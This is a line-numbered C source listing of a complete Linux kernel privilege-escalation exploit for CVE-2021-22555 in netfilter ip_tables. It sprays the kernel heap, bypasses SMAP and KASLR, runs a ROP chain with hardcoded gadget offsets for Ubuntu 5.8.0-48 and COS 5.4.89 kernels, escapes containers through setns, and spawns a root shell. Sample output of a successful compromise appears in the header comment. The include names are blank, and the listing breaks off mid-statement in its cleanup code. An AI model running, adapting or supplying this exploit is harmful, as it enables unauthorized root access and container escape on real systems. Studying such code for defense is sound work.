CVE-2021-22555: Turning \x00\x00 into 10000$ 3 | * by Andy Nguyen (theflow@) 4 | * 5 | * theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c 6 | * theflow@theflow:~$ ./exploit 7 | * [+] Linux Privilege Escalation by theflow@ - 2021 8 | * 9 | * [+] STAGE 0: Initialization 10 | * [*] Setting up namespace sandbox... 11 | * [*] Initializing sockets and message queues... 12 | * 13 | * [+] STAGE 1: Memory corruption 14 | * [*] Spraying primary messages... 15 | * [*] Spraying secondary messages... 16 | * [*] Creating holes in primary messages... 17 | * [*] Triggering out-of-bounds write... 18 | * [*] Searching for corrupted primary message... 19 | * [+] fake_idx: ffc 20 | * [+] real_idx: fc4 21 | * 22 | * [+] STAGE 2: SMAP bypass 23 | * [*] Freeing real secondary message... 24 | * [*] Spraying fake secondary messages... 25 | * [*] Leaking adjacent secondary message... 26 | * [+] kheap_addr: ffff91a49cb7f000 27 | * [*] Freeing fake secondary messages... 28 | * [*] Spraying fake secondary messages... 29 | * [*] Leaking primary message... 30 | * [+] kheap_addr: ffff91a49c7a0000 31 | * 32 | * [+] STAGE 3: KASLR bypass 33 | * [*] Freeing fake secondary messages... 34 | * [*] Spraying fake secondary messages... 35 | * [*] Freeing sk_buff data buffer... 36 | * [*] Spraying pipe_buffer objects... 37 | * [*] Leaking and freeing pipe_buffer object... 38 | * [+] anon_pipe_buf_ops: ffffffffa1e78380 39 | * [+] kbase_addr: ffffffffa0e00000 40 | * 41 | * [+] STAGE 4: Kernel code execution 42 | * [*] Spraying fake pipe_buffer objects... 43 | * [*] Releasing pipe_buffer objects... 44 | * [*] Checking for root... 45 | * [+] Root privileges gained. 46 | * 47 | * [+] STAGE 5: Post-exploitation 48 | * [*] Escaping container... 49 | * [*] Cleaning up... 50 | * [*] Popping root shell... 51 | * root@theflow:/# id 52 | * uid=0(root) gid=0(root) groups=0(root) 53 | * root@theflow:/# 54 | * 55 | * Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+. 56 | */ 57 | 58 | // clang-format off 59 | #define _GNU_SOURCE 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | #include 74 | #include 75 | #include 76 | // clang-format on 77 | 78 | #define PAGE_SIZE 0x1000 79 | #define PRIMARY_SIZE 0x1000 80 | #define SECONDARY_SIZE 0x400 81 | 82 | #define NUM_SOCKETS 4 83 | #define NUM_SKBUFFS 128 84 | #define NUM_PIPEFDS 256 85 | #define NUM_MSQIDS 4096 86 | 87 | #define HOLE_STEP 1024 88 | 89 | #define MTYPE_PRIMARY 0x41 90 | #define MTYPE_SECONDARY 0x42 91 | #define MTYPE_FAKE 0x1337 92 | 93 | #define MSG_TAG 0xAAAAAAAA 94 | 95 | // #define KERNEL_COS_5_4_89 1 96 | #define KERNEL_UBUNTU_5_8_0_48 1 97 | 98 | // clang-format off 99 | #ifdef KERNEL_COS_5_4_89 100 | // 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx] 101 | #define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8 102 | // 0xffffffff815401df : pop rsp ; pop rbx ; ret 103 | #define POP_RSP_POP_RBX_RET 0x5401DF 104 | 105 | // 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret 106 | #define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65 107 | // 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret 108 | #define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8 109 | // 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret 110 | #define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972 111 | // 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret 112 | #define MOV_RSP_RBP_POP_RBP_RET 0x6748C 113 | 114 | // 0xffffffff810c7c80 : pop rdx ; ret 115 | #define POP_RDX_RET 0xC7C80 116 | // 0xffffffff8143a2b4 : pop rsi ; ret 117 | #define POP_RSI_RET 0x43A2B4 118 | // 0xffffffff81067520 : pop rdi ; ret 119 | #define POP_RDI_RET 0x67520 120 | // 0xffffffff8100054b : pop rbp ; ret 121 | #define POP_RBP_RET 0x54B 122 | 123 | // 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret 124 | #define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6 125 | // 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret 126 | #define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1 127 | 128 | #define FIND_TASK_BY_VPID 0x963C0 129 | #define SWITCH_TASK_NAMESPACES 0x9D080 130 | #define COMMIT_CREDS 0x9EC10 131 | #define PREPARE_KERNEL_CRED 0x9F1F0 132 | 133 | #define ANON_PIPE_BUF_OPS 0xE51600 134 | #define INIT_NSPROXY 0x1250590 135 | #elif KERNEL_UBUNTU_5_8_0_48 136 | // 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39] 137 | #define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783 138 | // 0xffffffff8109b6c0 : pop rsp ; ret 139 | #define POP_RSP_RET 0x9B6C0 140 | // 0xffffffff8106db59 : add rsp, 0xd0 ; ret 141 | #define ADD_RSP_D0_RET 0x6DB59 142 | 143 | // 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret 144 | #define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3 145 | // 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret 146 | #define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3 147 | // 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret 148 | #define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF 149 | // 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret 150 | #define MOV_RSP_RBP_POP_RBP_RET 0x891BC 151 | 152 | // 0xffffffff810f5633 : pop rcx ; ret 153 | #define POP_RCX_RET 0xF5633 154 | // 0xffffffff811abaae : pop rsi ; ret 155 | #define POP_RSI_RET 0x1ABAAE 156 | // 0xffffffff81089250 : pop rdi ; ret 157 | #define POP_RDI_RET 0x89250 158 | // 0xffffffff810005ae : pop rbp ; ret 159 | #define POP_RBP_RET 0x5AE 160 | 161 | // 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret 162 | #define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894 163 | // 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret 164 | #define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB 165 | 166 | #define FIND_TASK_BY_VPID 0xBFBC0 167 | #define SWITCH_TASK_NAMESPACES 0xC7A50 168 | #define COMMIT_CREDS 0xC8C80 169 | #define PREPARE_KERNEL_CRED 0xC9110 170 | 171 | #define ANON_PIPE_BUF_OPS 0x1078380 172 | #define INIT_NSPROXY 0x1663080 173 | #else 174 | #error "No kernel version defined" 175 | #endif 176 | // clang-format on 177 | 178 | #define SKB_SHARED_INFO_SIZE 0x140 179 | #define MSG_MSG_SIZE (sizeof(struct msg_msg)) 180 | #define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg)) 181 | 182 | struct msg_msg { 183 | uint64_t m_list_next; 184 | uint64_t m_list_prev; 185 | uint64_t m_type; 186 | uint64_t m_ts; 187 | uint64_t next; 188 | uint64_t security; 189 | }; 190 | 191 | struct msg_msgseg { 192 | uint64_t next; 193 | }; 194 | 195 | struct pipe_buffer { 196 | uint64_t page; 197 | uint32_t offset; 198 | uint32_t len; 199 | uint64_t ops; 200 | uint32_t flags; 201 | uint32_t pad; 202 | uint64_t private; 203 | }; 204 | 205 | struct pipe_buf_operations { 206 | uint64_t confirm; 207 | uint64_t release; 208 | uint64_t steal; 209 | uint64_t get; 210 | }; 211 | 212 | struct { 213 | long mtype; 214 | char mtext[PRIMARY_SIZE - MSG_MSG_SIZE]; 215 | } msg_primary; 216 | 217 | struct { 218 | long mtype; 219 | char mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; 220 | } msg_secondary; 221 | 222 | struct { 223 | long mtype; 224 | char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE]; 225 | } msg_fake; 226 | 227 | void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next, 228 | uint64_t m_list_prev, uint64_t m_ts, uint64_t next) { 229 | msg->m_list_next = m_list_next; 230 | msg->m_list_prev = m_list_prev; 231 | msg->m_type = MTYPE_FAKE; 232 | msg->m_ts = m_ts; 233 | msg->next = next; 234 | msg->security = 0; 235 | } 236 | 237 | int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) { 238 | *(long *)msgp = msgtyp; 239 | if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) { 240 | perror("[-] msgsnd"); 241 | return -1; 242 | } 243 | return 0; 244 | } 245 | 246 | int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { 247 | if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) < 248 | 0) { 249 | perror("[-] msgrcv"); 250 | return -1; 251 | } 252 | return 0; 253 | } 254 | 255 | int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { 256 | if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) { 257 | perror("[-] msgrcv"); 258 | return -1; 259 | } 260 | return 0; 261 | } 262 | 263 | int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) { 264 | for (int i = 0; i < NUM_SOCKETS; i++) { 265 | for (int j = 0; j < NUM_SKBUFFS; j++) { 266 | if (write(ss[i][0], buf, size) < 0) { 267 | perror("[-] write"); 268 | return -1; 269 | } 270 | } 271 | } 272 | return 0; 273 | } 274 | 275 | int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) { 276 | for (int i = 0; i < NUM_SOCKETS; i++) { 277 | for (int j = 0; j < NUM_SKBUFFS; j++) { 278 | if (read(ss[i][1], buf, size) < 0) { 279 | perror("[-] read"); 280 | return -1; 281 | } 282 | } 283 | } 284 | return 0; 285 | } 286 | 287 | int trigger_oob_write(int s) { 288 | struct __attribute__((__packed__)) { 289 | struct ipt_replace replace; 290 | struct ipt_entry entry; 291 | struct xt_entry_match match; 292 | char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2]; 293 | struct xt_entry_target target; 294 | } data = {0}; 295 | 296 | data.replace.num_counters = 1; 297 | data.replace.num_entries = 1; 298 | data.replace.size = (sizeof(data.entry) + sizeof(data.match) + 299 | sizeof(data.pad) + sizeof(data.target)); 300 | 301 | data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) + 302 | sizeof(data.pad) + sizeof(data.target)); 303 | data.entry.target_offset = 304 | (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad)); 305 | 306 | data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad)); 307 | strcpy(data.match.u.user.name, "icmp"); 308 | data.match.u.user.revision = 0; 309 | 310 | data.target.u.user.target_size = sizeof(data.target); 311 | strcpy(data.target.u.user.name, "NFQUEUE"); 312 | data.target.u.user.revision = 1; 313 | 314 | // Partially overwrite the adjacent buffer with 2 bytes of zero. 315 | if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) { 316 | if (errno == ENOPROTOOPT) { 317 | printf("[-] Error ip_tables module is not loaded.\n"); 318 | return -1; 319 | } 320 | } 321 | 322 | return 0; 323 | } 324 | 325 | // Note: Must not touch offset 0x10-0x18. 326 | void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) { 327 | uint64_t *rop; 328 | #ifdef KERNEL_COS_5_4_89 329 | *(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET; 330 | 331 | rop = (uint64_t *)&buf[0x18]; 332 | 333 | // Save RBP at scratchpad_addr. 334 | *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET; 335 | *rop++ = scratchpad_addr; // R14 336 | *rop++ = 0xDEADBEEF; // RBP 337 | *rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET; 338 | *rop++ = 0xDEADBEEF; // RBX 339 | *rop++ = 0xDEADBEEF; // R14 340 | *rop++ = 0xDEADBEEF; // RBP 341 | 342 | // commit_creds(prepare_kernel_cred(NULL)) 343 | *rop++ = kbase_addr + POP_RDI_RET; 344 | *rop++ = 0; // RDI 345 | *rop++ = kbase_addr + PREPARE_KERNEL_CRED; 346 | *rop++ = kbase_addr + POP_RDX_RET; 347 | *rop++ = 1; // RDX 348 | *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; 349 | *rop++ = 0xDEADBEEF; // RBP 350 | *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; 351 | *rop++ = 0xDEADBEEF; // RBP 352 | *rop++ = kbase_addr + COMMIT_CREDS; 353 | 354 | // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) 355 | *rop++ = kbase_addr + POP_RDI_RET; 356 | *rop++ = 1; // RDI 357 | *rop++ = kbase_addr + FIND_TASK_BY_VPID; 358 | *rop++ = kbase_addr + POP_RDX_RET; 359 | *rop++ = 1; // RDX 360 | *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; 361 | *rop++ = 0xDEADBEEF; // RBP 362 | *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; 363 | *rop++ = 0xDEADBEEF; // RBP 364 | *rop++ = kbase_addr + POP_RSI_RET; 365 | *rop++ = kbase_addr + INIT_NSPROXY; // RSI 366 | *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; 367 | 368 | // Load RBP from scratchpad_addr and resume execution. 369 | *rop++ = kbase_addr + POP_RBP_RET; 370 | *rop++ = scratchpad_addr - 0x25; // RBP 371 | *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET; 372 | *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; 373 | #elif KERNEL_UBUNTU_5_8_0_48 374 | *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET; 375 | *(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET; 376 | 377 | rop = (uint64_t *)&buf[0xD8]; 378 | 379 | // Save RBP at scratchpad_addr. 380 | *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET; 381 | *rop++ = scratchpad_addr; // R12 382 | *rop++ = 0xDEADBEEF; // RBP 383 | *rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET; 384 | *rop++ = 0xDEADBEEF; // RBX 385 | *rop++ = 0xDEADBEEF; // R12 386 | *rop++ = 0xDEADBEEF; // RBP 387 | 388 | // commit_creds(prepare_kernel_cred(NULL)) 389 | *rop++ = kbase_addr + POP_RDI_RET; 390 | *rop++ = 0; // RDI 391 | *rop++ = kbase_addr + PREPARE_KERNEL_CRED; 392 | *rop++ = kbase_addr + POP_RCX_RET; 393 | *rop++ = 4; // RCX 394 | *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; 395 | *rop++ = 0xDEADBEEF; // RBP 396 | *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; 397 | *rop++ = kbase_addr + COMMIT_CREDS; 398 | 399 | // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) 400 | *rop++ = kbase_addr + POP_RDI_RET; 401 | *rop++ = 1; // RDI 402 | *rop++ = kbase_addr + FIND_TASK_BY_VPID; 403 | *rop++ = kbase_addr + POP_RCX_RET; 404 | *rop++ = 4; // RCX 405 | *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; 406 | *rop++ = 0xDEADBEEF; // RBP 407 | *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; 408 | *rop++ = kbase_addr + POP_RSI_RET; 409 | *rop++ = kbase_addr + INIT_NSPROXY; // RSI 410 | *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; 411 | 412 | // Load RBP from scratchpad_addr and resume execution. 413 | *rop++ = kbase_addr + POP_RBP_RET; 414 | *rop++ = scratchpad_addr - 0xA; // RBP 415 | *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET; 416 | *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; 417 | #endif 418 | } 419 | 420 | int setup_sandbox(void) { 421 | if (unshare(CLONE_NEWUSER) < 0) { 422 | perror("[-] unshare(CLONE_NEWUSER)"); 423 | return -1; 424 | } 425 | if (unshare(CLONE_NEWNET) < 0) { 426 | perror("[-] unshare(CLONE_NEWNET)"); 427 | return -1; 428 | } 429 | 430 | cpu_set_t set; 431 | CPU_ZERO(&set); 432 | CPU_SET(0, &set); 433 | if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { 434 | perror("[-] sched_setaffinity"); 435 | return -1; 436 | } 437 | 438 | return 0; 439 | } 440 | 441 | int main(int argc, char *argv[]) { 442 | int s; 443 | int fd; 444 | int ss[NUM_SOCKETS][2]; 445 | int pipefd[NUM_PIPEFDS][2]; 446 | int msqid[NUM_MSQIDS]; 447 | 448 | char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE]; 449 | char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE]; 450 | 451 | struct msg_msg *msg; 452 | struct pipe_buf_operations *ops; 453 | struct pipe_buffer *buf; 454 | 455 | uint64_t pipe_buffer_ops = 0; 456 | uint64_t kheap_addr = 0, kbase_addr = 0; 457 | 458 | int fake_idx = -1, real_idx = -1; 459 | 460 | printf("[+] Linux Privilege Escalation by theflow@ - 2021\n"); 461 | 462 | printf("\n"); 463 | printf("[+] STAGE 0: Initialization\n"); 464 | 465 | printf("[*] Setting up namespace sandbox...\n"); 466 | if (setup_sandbox() < 0) 467 | goto err_no_rmid; 468 | 469 | printf("[*] Initializing sockets and message queues...\n"); 470 | 471 | if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { 472 | perror("[-] socket"); 473 | goto err_no_rmid; 474 | } 475 | 476 | for (int i = 0; i < NUM_SOCKETS; i++) { 477 | if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) { 478 | perror("[-] socketpair"); 479 | goto err_no_rmid; 480 | } 481 | } 482 | 483 | for (int i = 0; i < NUM_MSQIDS; i++) { 484 | if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) { 485 | perror("[-] msgget"); 486 | goto err_no_rmid; 487 | } 488 | } 489 | 490 | printf("\n"); 491 | printf("[+] STAGE 1: Memory corruption\n"); 492 | 493 | printf("[*] Spraying primary messages...\n"); 494 | for (int i = 0; i < NUM_MSQIDS; i++) { 495 | memset(&msg_primary, 0, sizeof(msg_primary)); 496 | *(int *)&msg_primary.mtext[0] = MSG_TAG; 497 | *(int *)&msg_primary.mtext[4] = i; 498 | if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < 499 | 0) 500 | goto err_rmid; 501 | } 502 | 503 | printf("[*] Spraying secondary messages...\n"); 504 | for (int i = 0; i < NUM_MSQIDS; i++) { 505 | memset(&msg_secondary, 0, sizeof(msg_secondary)); 506 | *(int *)&msg_secondary.mtext[0] = MSG_TAG; 507 | *(int *)&msg_secondary.mtext[4] = i; 508 | if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 509 | MTYPE_SECONDARY) < 0) 510 | goto err_rmid; 511 | } 512 | 513 | printf("[*] Creating holes in primary messages...\n"); 514 | for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) { 515 | if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < 516 | 0) 517 | goto err_rmid; 518 | } 519 | 520 | printf("[*] Triggering out-of-bounds write...\n"); 521 | if (trigger_oob_write(s) < 0) 522 | goto err_rmid; 523 | 524 | printf("[*] Searching for corrupted primary message...\n"); 525 | for (int i = 0; i < NUM_MSQIDS; i++) { 526 | if (i != 0 && (i % HOLE_STEP) == 0) 527 | continue; 528 | if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0) 529 | goto err_no_rmid; 530 | if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) { 531 | printf("[-] Error could not corrupt any primary message.\n"); 532 | goto err_no_rmid; 533 | } 534 | if (*(int *)&msg_secondary.mtext[4] != i) { 535 | fake_idx = i; 536 | real_idx = *(int *)&msg_secondary.mtext[4]; 537 | break; 538 | } 539 | } 540 | 541 | if (fake_idx == -1 && real_idx == -1) { 542 | printf("[-] Error could not corrupt any primary message.\n"); 543 | goto err_no_rmid; 544 | } 545 | 546 | // fake_idx's primary message has a corrupted next pointer; wrongly 547 | // pointing to real_idx's secondary message. 548 | printf("[+] fake_idx: %x\n", fake_idx); 549 | printf("[+] real_idx: %x\n", real_idx); 550 | 551 | printf("\n"); 552 | printf("[+] STAGE 2: SMAP bypass\n"); 553 | 554 | printf("[*] Freeing real secondary message...\n"); 555 | if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary), 556 | MTYPE_SECONDARY) < 0) 557 | goto err_rmid; 558 | 559 | // Reclaim the previously freed secondary message with a fake msg_msg of 560 | // maximum possible size. 561 | printf("[*] Spraying fake secondary messages...\n"); 562 | memset(secondary_buf, 0, sizeof(secondary_buf)); 563 | build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, 564 | PAGE_SIZE - MSG_MSG_SIZE, 0); 565 | if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) 566 | goto err_rmid; 567 | 568 | // Use the fake secondary message to read out-of-bounds. 569 | printf("[*] Leaking adjacent secondary message...\n"); 570 | if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) 571 | goto err_rmid; 572 | 573 | // Check if the leak is valid. 574 | if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) { 575 | printf("[-] Error could not leak adjacent secondary message.\n"); 576 | goto err_rmid; 577 | } 578 | 579 | // The secondary message contains a pointer to the primary message. 580 | msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; 581 | kheap_addr = msg->m_list_next; 582 | if (kheap_addr & (PRIMARY_SIZE - 1)) 583 | kheap_addr = msg->m_list_prev; 584 | printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr); 585 | 586 | if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) { 587 | printf("[-] Error kernel heap address is incorrect.\n"); 588 | goto err_rmid; 589 | } 590 | 591 | printf("[*] Freeing fake secondary messages...\n"); 592 | free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); 593 | 594 | // Put kheap_addr at next to leak its content. Assumes zero bytes before 595 | // kheap_addr. 596 | printf("[*] Spraying fake secondary messages...\n"); 597 | memset(secondary_buf, 0, sizeof(secondary_buf)); 598 | build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, 599 | sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE); 600 | if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) 601 | goto err_rmid; 602 | 603 | // Use the fake secondary message to read from kheap_addr. 604 | printf("[*] Leaking primary message...\n"); 605 | if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) 606 | goto err_rmid; 607 | 608 | // Check if the leak is valid. 609 | if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) { 610 | printf("[-] Error could not leak primary message.\n"); 611 | goto err_rmid; 612 | } 613 | 614 | // The primary message contains a pointer to the secondary message. 615 | msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE]; 616 | kheap_addr = msg->m_list_next; 617 | if (kheap_addr & (SECONDARY_SIZE - 1)) 618 | kheap_addr = msg->m_list_prev; 619 | 620 | // Calculate the address of the fake secondary message. 621 | kheap_addr -= SECONDARY_SIZE; 622 | printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr); 623 | 624 | if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) { 625 | printf("[-] Error kernel heap address is incorrect.\n"); 626 | goto err_rmid; 627 | } 628 | 629 | printf("\n"); 630 | printf("[+] STAGE 3: KASLR bypass\n"); 631 | 632 | printf("[*] Freeing fake secondary messages...\n"); 633 | free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); 634 | 635 | // Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible. 636 | printf("[*] Spraying fake secondary messages...\n"); 637 | memset(secondary_buf, 0, sizeof(secondary_buf)); 638 | build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0); 639 | if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) 640 | goto err_rmid; 641 | 642 | printf("[*] Freeing sk_buff data buffer...\n"); 643 | if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0) 644 | goto err_rmid; 645 | 646 | printf("[*] Spraying pipe_buffer objects...\n"); 647 | for (int i = 0; i < NUM_PIPEFDS; i++) { 648 | if (pipe(pipefd[i]) < 0) { 649 | perror("[-] pipe"); 650 | goto err_rmid; 651 | } 652 | // Write something to populate pipe_buffer. 653 | if (write(pipefd[i][1], "pwn", 3) < 0) { 654 | perror("[-] write"); 655 | goto err_rmid; 656 | } 657 | } 658 | 659 | printf("[*] Leaking and freeing pipe_buffer object...\n"); 660 | for (int i = 0; i < NUM_SOCKETS; i++) { 661 | for (int j = 0; j < NUM_SKBUFFS; j++) { 662 | if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) { 663 | perror("[-] read"); 664 | goto err_rmid; 665 | } 666 | if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE) 667 | pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10]; 668 | } 669 | } 670 | 671 | kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS; 672 | printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops); 673 | printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr); 674 | 675 | if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) { 676 | printf("[-] Error kernel base address is incorrect.\n"); 677 | goto err_rmid; 678 | } 679 | 680 | printf("\n"); 681 | printf("[+] STAGE 4: Kernel code execution\n"); 682 | 683 | printf("[*] Spraying fake pipe_buffer objects...\n"); 684 | memset(secondary_buf, 0, sizeof(secondary_buf)); 685 | buf = (struct pipe_buffer *)&secondary_buf; 686 | buf->ops = kheap_addr + 0x290; 687 | ops = (struct pipe_buf_operations *)&secondary_buf[0x290]; 688 | #ifdef KERNEL_COS_5_4_89 689 | // RAX points to &buf->ops. 690 | // RCX points to &buf. 691 | ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX; 692 | #elif KERNEL_UBUNTU_5_8_0_48 693 | // RSI points to &buf. 694 | ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39; 695 | #endif 696 | build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0); 697 | if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) 698 | goto err_rmid; 699 | 700 | // Trigger pipe_release(). 701 | printf("[*] Releasing pipe_buffer objects...\n"); 702 | for (int i = 0; i < NUM_PIPEFDS; i++) { 703 | if (close(pipefd[i][0]) < 0) { 704 | perror("[-] close"); 705 | goto err_rmid; 706 | } 707 | if (close(pipefd[i][1]) < 0) { 708 | perror("[-] close"); 709 | goto err_rmid; 710 | } 711 | } 712 | 713 | printf("[*] Checking for root...\n"); 714 | if ((fd = open("/etc/shadow", O_RDONLY)) < 0) { 715 | printf("[-] Error could not gain root privileges.\n"); 716 | goto err_rmid; 717 | } 718 | close(fd); 719 | printf("[+] Root privileges gained.\n"); 720 | 721 | printf("\n"); 722 | printf("[+] STAGE 5: Post-exploitation\n"); 723 | 724 | printf("[*] Escaping container...\n"); 725 | setns(open("/proc/1/ns/mnt", O_RDONLY), 0); 726 | setns(open("/proc/1/ns/pid", O_RDONLY), 0); 727 | setns(open("/proc/1/ns/net", O_RDONLY), 0); 728 | 729 | printf("[*] Cleaning up...\n"); 730 | for (int i = 0; i < NUM_MSQIDS; i++) { 731 | // TODO: Fix next pointer. 732 | if (i == fake_idx) 733 | continue; 734 | if (msgctl(msqid[i], IPC_RMID, NULL) < 0) 735 | perror("[-] msgctl"); 736 | } 737 | for (int i = 0; i < NUM_SOCKETS; i++) { 738 | if (close(ss[i][0]) < 0) 739 | perror("[-] close"); 740 | if (close(ss[i][1]) < 0) 741 | perror("[-] close"); 742 | } 743 | if (close(s) < 0) 744 | perror("[-] close"); 745 | 746 | printf("[*] Popping root shell...\n"); 747 | char *args[] = {"/bin/bash", "-i", NULL}; 748 | execve(args[0], args, NULL); 749 | 750 | return 0; 751 | 752 | err_rmid: 753 | for (int i = 0; i < NUM_MSQIDS; i++) { 754 | if (i == fake_idx) 755 | continue; 756 | if 